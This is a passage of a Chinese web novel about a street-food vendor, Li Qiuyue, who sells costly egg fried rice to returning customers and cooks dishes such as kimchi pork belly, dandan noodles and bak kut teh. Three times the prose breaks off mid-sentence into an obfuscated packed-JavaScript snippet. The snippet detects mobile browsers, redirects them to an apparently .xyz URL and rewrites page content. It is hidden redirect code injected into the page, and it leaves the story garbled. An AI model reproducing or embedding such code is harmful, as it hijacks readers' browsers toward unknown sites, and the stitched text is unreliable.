黎秋月低头看看自己的黑白配外套,下意识的抬头,就对上一张有点熟悉的脸——亚军发带女孩! 其实黎秋月不怎么认人,但发带女孩的特征实在是有点明显:她的发带是彩色的! “你在跟我说话?” 黎秋月又确认了一遍,彩色发带点了点头。 “我家的蛋炒饭蛮贵的。” 食物的品种和价格黎秋月是分了两张纸的,【蛋炒饭】贴在电饭煲上,【12元一份】则是贴在车旁边,但回来的时候黎秋月图省事,把12的那张纸啪的贴到了电饭煲的另一边。 “只有小葱和鸡蛋,没有别的配料。” 黎秋月把电饭煲换了个方向,指着写了价格的白纸说道。 “来一份。” 彩发带对价钱有点惊讶,下单的时候却没犹豫,她今天参加决赛前就在心里发了誓:只要能进前三,出来的第一眼无论看到什么小吃,她都要买一份吃完。 黎秋月的蛋炒饭的确有点贵,但跟她能获得的奖金比起来就是凤毛麟角,今天她高兴,让摊主占点便宜也乐意。 “好的。” 黎秋月也不想带着这两个鸡蛋回去,可能是她矫情吧,反正来到这边以后,她能吃土鸡蛋就绝对不会吃饲料鸡蛋,就算土鸡蛋的价钱要贵上几倍也一样,总觉得饲料鸡蛋没那个味。 起锅烧油下鸡蛋,也就一小会儿的功夫,蛋炒饭已经被装在一次性盒子里。 “要打包吗?” 黎秋月指指袋子问道。 “就在这吃。” 彩发带刚刚在赛场上消耗了不少体力,现在肚子已经空了。 一口扒拉下去,彩发带被烫的五官乱飞,偏偏尝到了滋味的嘴巴死活不肯把蛋炒饭吐出去,她只能龇牙咧嘴的大口呼吸,希望舌头上的蛋炒饭给点面子,能够尽快凉下来。 “你在吃什么……蛋炒饭?” 彩发带烫的嘶嘶呼呼也要吃蛋炒饭的时候,高马尾的冠军姐姐和季军男也过来了。 “好吃!” 见高马尾过来,彩发带勉强分了点注意力出去,指指黎秋月的餐车又指指饭盒,就继续低头进食。 她们的交情只能维持到她分享食物获得点,要抽出说话的功夫,除非等她吃完! 44. 辣白菜炖五花肉 “给我来一份。” 炒饭的香味并不浓厚,却丝丝缕缕的勾着人,高马尾犹豫了好一会儿,终于下定决心。 她不缺这点钱,但她最近在控制饮食,不太应该摄入精米精面。 但……都怪亚军,要不是她吃的这么香,她怎么会控制不住自己! 高马尾给自己找好了借口,就理直气壮的付了款,刚好旁边有卖哈密瓜的,她顺手拿了两盒。 “配着瓜吃,解解腻。” 收了她的瓜,自己在心里悄悄嘟囔的事情就算过去了哈! “好的。” 黎秋月并不知道高马尾的弯弯绕,有人点单她就利索的开始打蛋,彩发带的最后一粒米下肚,满当当的一次性饭盒刚好递出去。 ! 高马尾瞪圆了眼睛,一瞬间跟彩发带共情了。 有这么好吃的蛋炒饭等着,能跟她说几句话是真的把她当朋友了。 “我也要一碗。” 季军男见高马尾光速沦陷,也对黎秋月的炒饭来了兴趣,黎秋月觉得这一幕有点像葫芦娃救爷爷,连转账都是一个个的。 黎秋月很想接下这个单子,但…… “没有鸡蛋了。” 四份米饭四个鸡蛋是算好了的,可黎秋月给自己做蛋炒饭的时候中饱私囊,偷偷多给自己放了个蛋,现在对不上账可。 “啊……” 季军男顿时对黎秋月露出了荷包蛋眼,希望黎秋月能想想办法。 羽毛球比赛的时候抢不到球就算了,现在连个蛋炒饭都买不到是不是有点太过分了?! 季军男看着跟黎秋月差不多的年纪,一身运动装更显小,一张男大脸做出荷包蛋眼的表情丝毫不违和,黎秋月想了一会儿,还是没忍心拒绝。 “三分钟,你要是能弄来一个生鸡蛋,我就给你炒。” 要黎秋月为了个鸡蛋东奔西跑显然不现实,但要是对方能捣鼓出一个,黎秋月也不介意多赚点钱。 “一言为定!” 虽然季军还没琢磨出能从哪里搞来一个生鸡蛋,但不妨碍他一口应下。 能不能做到再说,现在要是不同意,就连尝试的机会都没有了。 要不说年轻人的新脑子就是好用呢,季军踩着最后十秒的线回来。手上的两个鸡蛋分外显眼。 “我要加双倍蛋!” 季军的鸡蛋可是跑了个来回七百米,从最近的煎饼果子摊上买的,这么辛苦的来回,季军觉得他得多补补。 “好。” 黎秋月利落的应下,一边跟冠亚两个女孩说话,一边展示自己的小翻勺绝技,这一招能让米饭受热更加均匀,关键是非常炫技,有助于接受彩虹屁。 “你的炒饭好了。” 最后一份蛋炒饭卖完,黎秋月果断收起煤气罐跑路,她对这边的大街小巷都挺熟悉,三拐两拐就将呼唤丢在脑后,美滋滋的带着电饭锅回家。 隔夜米饭好吃,久放米饭会酸,黎秋月把手伸到窗外探了探温度,果断决定晚一点再煮饭。 昌南的天气跟当地的妖风一样阴晴不定,别看今天冷的人发抖,没准明天就出太阳,弄的刚套上的棉袄又得换短袖,还是稳妥些比较好。 跟她暂时不想煮饭没有任何关系。 “做什么就不想吃什么,好像是人的通病。” 黎秋月一边跟系统说话,一边起锅烧火,没有得到任务关键词的系统自然没有回应,黎秋月也不在意,她是把系统当成树洞来用的,真想找人说话那是另一回事。 她做糟卤的时候不想吃鸡肉和猪肉,做菜也不愿意放料,做糯米藕的时候也不愿吃藕做的菜……也就是做粥的时候是个例外,但完成了粥摊的任务后,后面的一个星期也不太偏向吃粥。 现在她开始卖蛋炒饭,早上还能吃一份蛋炒饭,现在别说尝味了,她连米饭和鸡蛋都不想碰。 不过黎秋月现在的厨艺也上来了,暂时避开一点主食和食材也没什么大影响,。 不想吃米饭,那不还有馒头面条烧麦锅盔包子饺子等多种选择吗,虽然有些时候黎秋月的手艺有点糙,但在大工业时代,主食真的并不昂贵,只是要在选择上多费些心思。 但黎秋月在这方面另有想法。 大扫除以后,除了一堆用得上用不上的小东西,黎秋月还得到了大大小小的无数快递,少量是生活用品,多数是吃食,都是用几毛甚至几分钱的秒杀价抢到的,有些已经过期了,但大部分还是能食用的。 都是自己,原主不想拆的快递黎秋月也没什么兴趣,但一直放着等到吃食坏掉也不是个事儿,刚好黎秋月不想吃米饭,在吃方便面和挂面之间犹豫了一会儿,黎秋月最终选择拆主食盲盒。 一天一样,拆啥吃啥。 今天拆到的是福建线面。 一盒子六小袋,总价九毛九,一袋里面的线面合起来都没黎秋月的指头粗,看的颇为人畜无害。 但黎秋月可是吃过八捆线面的瓜的,她一点不敢小瞧了这些其貌不扬的包装袋,毕竟线面可是号称可以无限繁殖的存在。 壮汉吃不完八捆线面,她努努力应该能吃三捆? 两捆? 五分钟后,黎秋月面无表情的撕开一个线面包装袋,把剩下的五包线面往上面的柜子里一扔。 少点就少点吧,比吃剩面或者浪费好。 黎秋月努力安慰着自己,准备做个韩国国宴的浇头——辣白菜炖五花肉! 用词不严谨,纠正一下,应该是韩国国宴都比不上的浇头,因为里面可是有很多很多的猪肉! 对不起,有点刻板印象,但吃了三个鸡腿被蛐蛐的事情实在是传的有点广,还有那个多吃一块肉被点名的up主,以及各种各样的的新闻,让黎秋月一直觉肉在韩国很贵。 辣白菜炖五花肉不难做,五花肉买一条品质好的,冷水加料酒焯完撇去浮沫,换水再煮十分钟捞出切片,不用太厚也不用太薄,不能超过梅菜扣肉的厚度,必须超过回锅肉的厚度。 切好以后放一包辣白菜进锅,再把五花肉倒进去一起炖煮,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14257963|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么调料都不用放,只需要等半个小时开锅闻闻尝尝,再放一包辣白菜进去煮五分钟就能出锅。 不需要任何实力,不使用任何技巧,出来的成品只取决于食材的品质,黎秋月选肉的眼光好,尝了一口就美的不行。 肉里面带着白菜的丝丝甜意,焯水以后没有丁点油腻,辣椒不是本地的小米辣,而是只能面前提供一点辣度的水果辣椒,这一丝似有若无的辣味把黎秋月迷的不行,连筷子都舞出了残影。 “线面好像也没那么可怕?” 黎秋月做线面的时候没敢奇思妙想,老实的按照步骤住了锅白水面,三两下就被黎秋月吃了个干净,没给它留出膨胀的空间。 试过以后的黎秋月胆子就大了,晚上往锅里放了两个线面—— “为什么这面吃不完啊!” 黎秋月抱着脑袋哀嚎,她晚上做的是鸡肉面,就炒个鸡肉的功夫,原本半碗还显得空荡的面条已经变成满满一碗,黎秋月努力吃了半碗,刷个手机的功夫又变成了一大碗。 黎秋月终于知道为什么这玩意被称为福建小孩的童年阴影了,因为现在的线面也成了她的成年阴影。 怎么努力都吃不完的线面真的好可怕! 晚上的黎秋月在彻底睡着之前一直在打饱嗝,连带着平时的生物钟也乱了套,醒过来的时候天还黑着,一看时间才早上四点。 睡不着黎秋月也没逼着自己继续在床上趴窝,而是果断开了个主食盲盒,这次出来的是山东杂粮煎饼,三十张2.99,配料表极其干净,唯一的缺点是只有两个月的保质期,现在已经过了一个半月。 黎秋月:…… 算了,总比线面好。 乐观的黎秋月快速哄好了自己,开始思索吃点什么当早饭。 一日之计在于晨,早上不吃点自己喜欢的,连摆摊的动力都没有。 杂粮煎饼配薄脆好吃,黎秋月琢磨了一会儿,决定搞一荤一素两个配菜。 荤菜好找,冰箱里还有块卤牛肉,切了片端出来就行,但是素菜就有些为难了。 黎秋月的冰箱有点大,从叶子类的蔬菜到根茎类的一应俱全,黎秋月纠结半晌,最后选了个清炒莴笋,裹在煎饼里咬下去就发出脆响,明明只有一个素菜,黎秋月却觉得比鸡柳里脊还要好吃。 一口气干掉三套煎饼果子,黎秋月带着鼓鼓的肚子出门摆摊,昨天的经验在赶路的时候派上用场,7:55,黎秋月准时在肿瘤医院的第三棵树下支起了小摊。 【蛋炒饭】三个字没变,但价格从12涨到了16,旁边的商贩都觉得黎秋月黑心,只有她自己理直气壮。 这次的鸡蛋可是土鸡蛋! 她的手艺也对的起这份溢价! 能卖出去当然好,要是卖不出去,那就回家用袋子装了放到冰柜里,一天一点的慢慢消耗——刚好不用煮米饭了! 时针从八转向九,黎秋月把头上保暖的围巾稍稍解开,冬天的太阳也是懒的,但晒懂了还是会热。 “来一碗蛋炒饭。” 45. 摊位对照组 “来一碗蛋炒饭。” 声音第二遍响起的时候,黎秋月才意识到他好像是在跟自己说话。 今天早上黎秋月过来摆摊的时候,发现自己的对面多了个摊子,不但卖炒饭还卖炒粉,配料也比她丰富的多,肉丝萝卜干咸菜青菜豆芽里脊火腿鸡柳一应俱全,关键加肉加蛋的炒粉/饭才十块钱。 这个价钱不比别家便宜,但有黎秋月的炒饭对比,那边多少就有了点生意,从八点到九点,对面卖了两份炒粉三份炒饭,黎秋月这边的销量还是零。 “先扫码再点单。” 之前也有人要蛋炒饭,黎秋月蛋都下锅了又嫌贵,见黎秋月不肯在价格上让步,仗着自己没付钱转身就走,要不是还没拐弯就摔了个大马趴,黎秋月会在心里憋屈好久。 “蓝宝到账十六元~” 见真的是客人,黎秋月总算从椅子上站了起来,上下打量了下顾客,很好,人高马大,消化能力应该不差。 “吃金包银吗,吃的话再加十块钱。” 黎秋月没有狮子大开口,土鸡蛋她买的量小,平摊下来一个要两块钱,一份米饭至少加三个,还费油费气,利润真不怎么高。 “金包银?” 江宇轩有些疑惑的重复一遍,他对蛋炒饭不太了解,今天是来吃随机放纵餐的,选黎秋月的摊位纯粹是就她一家用土鸡蛋。 “就是把鸡蛋打到米饭上炒匀,也就是黄金蛋炒饭。” 蛋炒饭主要分了两个流派,一个是先蛋后饭的寻常炒饭,俗称银包金或是银裹金,也被叫碎金饭。 另一个流派就是蛋液和米饭混合,叫金包银,市面上唬人的黄金蛋炒饭就是这种。 “来一份。” 江宇轩不缺钱,吃多了寻常蛋炒饭,也的确想尝尝金包银的滋味。 “蓝宝到账十元~” 这次不用黎秋月说,江宇轩就自觉转账。 餐费到手,黎秋月也没耽搁,起锅倒油下米饭,把米饭炒散开以后在锅边单手打蛋。 一个两个三个,蛋黄用锅铲直接戳破,翻炒速度提升到原来的两倍,米饭很快从温柔的白变成了诱人的金。 拎起盐袋子往下抖抖,再翻炒十几下直接出锅。 金包银做起来也有讲究,有只用蛋黄的,有要先把米饭和鸡蛋拌匀再下锅的,也有嘀咕拌匀下锅饭心不热少锅气的,众说纷纭不一而足。 黎秋月用的是锅里上色,讲究一个清黄不拘——主要是节省成本,还能少一道拌匀的过程,能少洗一个锅。 “打包还是在这吃?” 最后一粒米饭从锅里刮到一次性饭盒,黎秋月征求江宇轩的意见。 “在这吃。” 放纵餐当然要吃最新鲜的,好好的蛋炒饭被盖子一焖全是水汽,那还有什么吃头! “桌椅在那边。” 黎秋月指指开摊就摆放好的桌椅,江宇轩看了一眼,丝毫不犹豫的悬着站立进食。 江宇轩自认为接受能力还是不差的,但大红色的广东省凳当桌子,三分之一个屁股大的马扎当椅子,他觉得自己还没到这么艰苦的时候。 站着好,站着促进血液循环,还能呼吸高层的新鲜空气。 虽然黎秋月这边态度一般,待遇恶劣,食物的价钱还贵的吓人,但当江宇轩扒了一口米饭进嘴的时候,他就知道自己赚了! 漂亮的金色米饭没有一点鸡蛋的腥气,也觉察不到路边摊常见的油腻,米饭并不是软糯的口感,而是微微带了一点硬度,却只是增加了一点咀嚼的乐趣,并没有对吞咽造成任何阻碍。 这个味道这个价钱……换成他是老板,不让人过三关连个点餐的资格都没有! “再来一碗!” 江宇轩把自己定下的放纵餐规则忘的一干二净,飞快的扒拉完一份米饭,立刻扫码转账等待第二份的到来。 长久自律的身体本能渴望着碳水和脂肪,平时的江宇轩还能看着自己的身材对比图压下对食物的呼唤,但黎秋月的蛋炒饭就像是锋利的刀刃,直接割断了控制的绳索,让江宇轩根本控制不住自己。 他几乎是本能的重复着进食的行为,直到喉咙再也塞不下一口蛋炒饭,江宇轩才回过神,下意识的想要走动,就觉得肚子沉重的很,整个人就像是被塞满的脆弱容器,只能跟孕妇一样扶着肚子缓慢挪动。 “我吃了多少?” 江宇轩迟疑的看向黎秋月,黎秋月看看自己的手机,又看看他手上还剩大半的蛋炒饭。 “156,你手上的那份是第六份蛋炒饭。” 对面的蛋炒饭摊主已经悄悄缩了脑袋,江宇轩吃一份蛋炒饭的时候他羡慕,吃两份的时候他嫉妒,吃到第四份就只剩下惊恐了。 摊主只想借着跟黎秋月的对比挣点钱,这客人吃起来不要命的架势,就算到了他摊子上也不敢招待。 不然吃的倒下了算谁的? 万一这人真有个三长两短,卖了餐车都不够赔医药费的! “……再给我来两份。” 江宇轩听到自己的吃的数量就一直保持着沉默,只是挺着肚子绕着黎秋月的摊子迈小碎步消食,迈到第三圈的时候突然停下脚步,动作缓慢的掏出手机转账。 ? 黎秋月有些惊悚的看着江宇轩,思维有一瞬间跟隔壁的摊主重合了。 “……你还能吃啊?!” 黎秋月有点想跑路了,虽然面前这位优质食客一来就消灭了她四分之一还多的库存,但这种吃法是不是有点太吓人了?! “……蛋炒饭味道不错,我打包带走给家里人尝尝。” 江宇轩默念黎秋月的卖货价,努力控制着翻白眼的冲动,还吃个悠悠球啊,他又不是猪! “……那行吧。” 黎秋月答应的很勉强,甚至举起手机让江宇轩录音做保证。 江宇轩说的很真诚,但说一套做一套的人多了去了,黎秋月其实有点想跑,但时间还没到,只能给自己多准备一点证据,不然万一人吃倒了,那她本就庞大的债务将会雪上加霜。 她希望这份录音没有用上的时候。 送走江宇轩,黎秋月终于能坐下来喘口气,她高估了自己的身体素质,即使没有颠锅,连续翻炒对她来说也是不小的消耗,现在的体力值已经见底,需要通过休息恢复。 客人啊客人,求你们晚点来吧,遭不住啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14266373|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个小时后。 一片旋转着飘下的叶子落到地上,黎秋月打着哈欠继续给手机里的妹妹换装,老天奶听到了她的呼唤,而且非常善良的延长了期限。 截止到现在,黎秋月今天只有一位客人。 佛系经营。 黎秋月这么告诉自己,退出换装手游看小说,顺便考虑要不要给自己买个医院的陪护椅,平时能坐,前后一拉就是床,很适合没什么声音的她。 “老板,来一份蛋炒饭……涨价了?” 一个有点熟悉的声音响起,黎秋月转头看到熟悉的女孩——准确来说是熟悉的发带,想起了对方的身份。 昨天第一个买蛋炒饭的亚军! “对,现在用的是土鸡蛋,味道更好一点。” 黎秋月一边说,一边在白纸上写了金包银的价格,啪一下跟蛋炒饭并排粘好。 “老板你可真会赚钱。” 彩发带还没考虑好要不要买,就发现黎秋月又出了新品。 “一分钱一分货。” 黎秋月回答的理直气壮,为了蛋炒饭她吃了多少苦啊,连系统那边都看不下去给她让步了,但凡她黑心一点,就跟厨神小说里面的主角一样,卖一百块一份蛋炒饭了! 再黑心一点,黄金蛋炒饭改名叫金镶玉蛋炒饭,玉就是往里面加的豌豆,1888一份她都不虚! “……有道理,给我来一份金包银。” 彩发带有点想转身就走,但肚子的抗议让她的腿怎么走迈不开,最后只能无奈的妥协。 “先扫码再炒饭。” 黎秋月一边说,一边又摸出一张白纸将这几个字写上,贴到黄金蛋炒饭旁边。 “……” “绿信到账26元~” 餐费到手,起锅烧油。 彩发带吃到第一口,就觉得贵真的有贵的道理。 吃完一份打包三份,填饱肚子的彩发带准备把炒饭带回去给家里尝尝,一家三口一人一盒刚刚好,至于她刚刚吃了一份……不要在意这点小问题。 彩发带走了半个小时,高马尾的冠军姐姐也来了,吃一盒带四盒,等到季军男再买一波,黎秋月这边就只剩下最后两份米饭了。 昨天的回头客都买完了,黎秋月不指望能在这里碰上第二个江宇轩,看时间还有两个小时,她索性招呼着附近的肉摊送了点五花肉过来,用煤气先把肉油给炼了。 肉在锅里吱吱作响,黎秋月琢磨着回去做辣椒炒肉还是腐竹炒肉,面前突然出现一道人影,看脸有点熟悉,就是笑起来有点吓人。 “老板,你让我好找啊!” 得,听这带了五分幽怨三分恨意两份喜悦的扇形语气,黎秋月就知道是以前的客人找来了,就是不知道是哪一位。 “老板你又忘了我是谁?” 钟桐的疑问句说成了陈述句,这该死的熟悉的眼神,一看就知道这打哈哈的狗女人根本没人出她是谁! “这个记得吗?” 钟桐掏出一个画了纯牛奶的小铁盒,手指撇开上面的连接盖,啪一下打起一朵小火苗。 “是你啊!” 自己的第一位客人,那个打火机女孩! 46. 肉骨茶 “还有蛋炒饭吗?” 钟桐没上演“你果然认不出我”的大戏,而是抓住了自己的主要需求。 虽然她只找到了两次黎秋月的摊子,但结合错过的桂花藕,便有了相对稳定的数据,并得出黎秋月摊子上的吃食有质量保障的结论。 别看这蛋炒饭卖的贵,但尝过黎秋月手艺的人都会光速成为回头客,偏这摊主又喜欢享受,每次准备的东西都不多,钟桐是真的担心自己辛辛苦苦找到了人,结果摊主张嘴就是一句卖完了。 “还有两份。” 最糟糕的结果没有出现,钟桐果断扫码包圆。 “一份金包银,一份银包金,多加点豌豆。” 作为一个不缺钱的成年人,在摊子上有两种选择的时候她当然是都要,还习惯性的说了自己的偏好。 “只有葱花。” 黎秋月果断拒绝了钟桐的小要求,她今天只带了鸡蛋和米饭,调料除了切好的小葱就只有油和盐,味道全靠食材和厨艺撑着。 加豌豆,那是扬州炒饭的做法,学习空间的老师会,但她不想回去学。 “那好吧。” 钟桐被拒绝也不失望,心里的期待反倒更多了些。 她家算不上什么豪门,但也是能雇的起私人厨师的水平,她五六岁的时候家里的厨子攒够养老钱辞职了,要雇个新厨,因为钟家人好待遇也不错,好东西人人抢,让钟桐有机会看到一场小小的厨师选拔赛。 那场选拔赛的题目是养老厨师给的建议,先让厨师炖个鸡汤看文火,再让厨子做个青椒炒肉瞧武火,最后再来个蛋炒饭看手艺。 三次选拔下来,最后剩了两个厨师,钟家人选了更有眼缘的那个,但给钟桐留下深刻印象的,却是一个做了蛋炒饭的厨子。 这个厨子的鸡汤和辣椒炒肉水平都很一般,唯独金包银蛋炒饭做的登峰造极,就像是偏科的天才,让钟桐尝过一口便念念不忘,可惜钟家讲究的是木桶定律,这个厨子最后还是没有留下来。 不过这个厨子的生活也并不差,现在她在沪市开了一家私房菜馆,蛋炒饭就是其中的招牌,一份能卖出四位数的价钱。 黎秋月并不知道钟桐的心里藏着多少期待,因为是做最后两个蛋炒饭,她也没收着力气,时不时就来个小翻勺,偶尔还来个大翻勺,就是蛋炒饭的米粒粒分开,让黎秋月的炫技少了点观赏性。 “好了。” 盒底放在一次性饭盒下面,黎秋月把两个蛋炒饭连着勺筷塑料袋往钟桐手上一怼,时间刚好从1:59跳到两点整,她转身就把地上的椅子马扎一收,一拧把手溜了。 下班! 钟桐只觉得双手一暖,然后一阵风刮过,刚刚还在这的小三轮转眼就没了影。 再转头一看,好家伙,车都过拐角了! “有那么着急吗。” 钟桐有些无语的吐槽一句,黎秋月听到了肯定要怼回去—— 当然急! 下班不积极,思想有问题! 钟桐托着两个饭盒也不敢快走,左右瞧瞧进了旁边相对大点的饭店。 “要个小包间。” 老板给钟桐开了空调,钟桐把两个一次性饭盒放到桌上,用手指试试盒侧的温度,就先出门点菜了。 江西的饭店多数是把食材摆出来,要什么菜自己点,高档些的地方也就是将墙上的菜单换成了雕刻着菜名的木条或竹片,但菜一定是能让人看到的,这个饭店也不例外。 “一个三杯鸡,一个羊肉,加一份鱼头煲,给我打包带走。” 就像一些人为了醋包一碟饺子,钟桐是为了包间才点菜的,所以她点的都是硬菜,直接打包好了方便回头分。 花了钱,钟桐终于能安心享受美味。 *** 黎秋月高高兴兴的到了家,把摆摊的东西洗刷干净,就躺到床上不想动了。 不甘被忽视的肚子一直彰显着它的存在感,在躺了半个小时还是饿的睡不着后,黎秋月只能慢吞吞的爬起来,一边吃香葱味的苏打饼干,一边思索做什么吃。 饼干? 填肚子的小零食而已,怎么能替代正餐! 今天的运气一般般,开出一份四两的小包龙须面,黎秋月不想正经坐上三五个菜,又看到冰箱里的芽菜,索性吃个担担面。 洗干净的芽菜泡到水里去咸,然后捞出切成碎末,放到提前用葱姜蒜爆香过的油里翻炒,等到温热的时候加入切好的猪肉丁,按照自己的口味放点调料,把芽菜炒干出锅就是上好的浇头。 辣椒粉和白芝麻放到瓷碗里,洗干净的锅里倒油放大料,用小火慢慢炒出香味再把大料捞出来,油趁热往碗里一倒,只听到滋啦一声响,辣椒的冲鼻气味和芝麻的焦香一起爆发,搅拌均匀就是上好的红油。 浇头准备,红油做好,剩下的就是煮面和调料汁。 料汁做法算不上复杂,无非是花生酱芝麻酱混合加水花开,放生抽红油花椒油,最后撒点醋进去解腻;面条则更方便,沸水下面煮两分钟捞出来,再用剩下的水焯生菜。 黄豆之前换口味的时候炸了不少,因为保存的好,现在也是酥酥脆脆,黎秋月也就没再费火。 料汁倒到面条上,芽菜肉丁的浇头全都扣上去,生菜放到一边做点缀,再舀两勺面汤进碗,撒一把酥脆的黄豆,就等温度降下来开吃! 面条的色泽红亮,一口下去味蕾最先感知到的是酸,却不是酸倒牙的程度,而是刚刚好的开胃,等到食欲开启,鲜味和辣味才会接踵而至,让人最大程度的享受美味。 黎秋月炒浇头的手艺很不错,芽菜本来应该用肉末炒,但黎秋月想多吃点肉就用了肉丁,没想到二者的滋味完美融合,比原来的搭配味道还好。 面条辣而不燥,酸而不腻,配上时不时吃到的酥脆黄豆,黎秋月吃的酣畅淋漓,只觉得给个神仙都不换! 一碗面条下肚,黎秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14273443|148216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的额头出了一层细汗,只觉得浑身都是暖洋洋的,哼着歌把碗筷丢到洗衣机,缩进被子没一会儿就睡着了。 睡得早也醒的早,黎秋月睁开眼睛还是一片漆黑,摁亮手机看看时间,刚好三点半。 睡不着也不想闲着,索性煮一份肉骨茶。 冰箱里的猪肋排是下午回家时候买的,被剁成十多公分的小长段,黎秋月本来打算做手抓排骨,现在实在馋肉骨茶,这道菜谱只能下次再见。 肋排被冷水下锅,撇掉血水浮沫煮熟捞出过冷水洗净,再把排骨放回开水锅里,丢两个扒了皮的大蒜,放一包肉骨茶的调料包小火慢炖。 这个调料包是黎秋月去老中医那边复查的时候,找老中医配的,价钱比超市的要贵,但胜在搭配平衡材料好,黎秋月也觉得划得来,还琢磨着下次可以配点其他的料包。 肉骨茶跟很多菜一样没有固定的配方,料包里面是最关键的几昧料,还要加什么全看自己的喜好,比如黎秋月这回想吃有点甜味的,就撒了一把红枣进去,为了养生还加了枸杞,最后把甘蔗节也丢了进去。 锅在火上炖着,开锅后撇掉浮油就不用管了,黎秋月一边把昨天煮好的米饭搅散,一边时不时瞄两眼手机,不知不觉两个小时过去,肉骨茶也终于做好,黎秋月掀开锅盖,一股香味便飞快的占据了厨房。 楼上楼下都有灯亮起,偶尔还混杂着少量的哭声,顺着没关的窗户传入黎秋月的耳朵,让她在心里感叹现在的人类果然很卷,让幼崽五点半就要爬起来学习。 被馋哭的小孩:…… 戳一块排骨尝尝味道,咸淡始终,便撒了些白胡椒粉出锅。 甘蔗的甜味,红枣的香味,跟肉成了一种奇妙的搭配,黎秋月有些形容不出来,非要说的话,这份肉骨茶很像是《十万个冷笑话》里面的哪吒,甜给人更多的是力量感,而不是甜汤般纯粹的柔软与可爱。 排骨上的肉很好撕下来,黎秋月一咬就是一大口的满足,蔬菜令人健康,白肉令人养生,但这个时候的黎秋月只会毫无保留的偏向红肉,这是再多药材中和也能分辨出来的勃勃生机! 先吃肉,再喝汤,黎秋月消化快却胃口小,她又吃的用力,最后一块排骨被啃干净的时候,她的额头已经冒出一层细汗,肚子也有些吃撑了。 虽然消化也没多少功夫,现在的李秋月却是一口汤都喝不下去,只能把汤先用小火热着,等能吃下去的时候再端。 空荡荡的汤在灶台上不太好看,黎秋月站在冰箱前沉思一会儿,扒拉出一块嫩豆腐,托在手上三两下切碎了放到汤里,准备回头一起吃。 半小时后。 “好吃哎!” 黎秋月激动的戳戳系统,又夹起一块豆腐塞进嘴里。 炖了半小时的豆腐吸收了汤的原味,到嘴里烫的斯哈斯哈,却还是忍不住一块接一块的夹。 一碗热豆腐下肚,黎秋月被撑得几乎走不动路,却半点不后悔。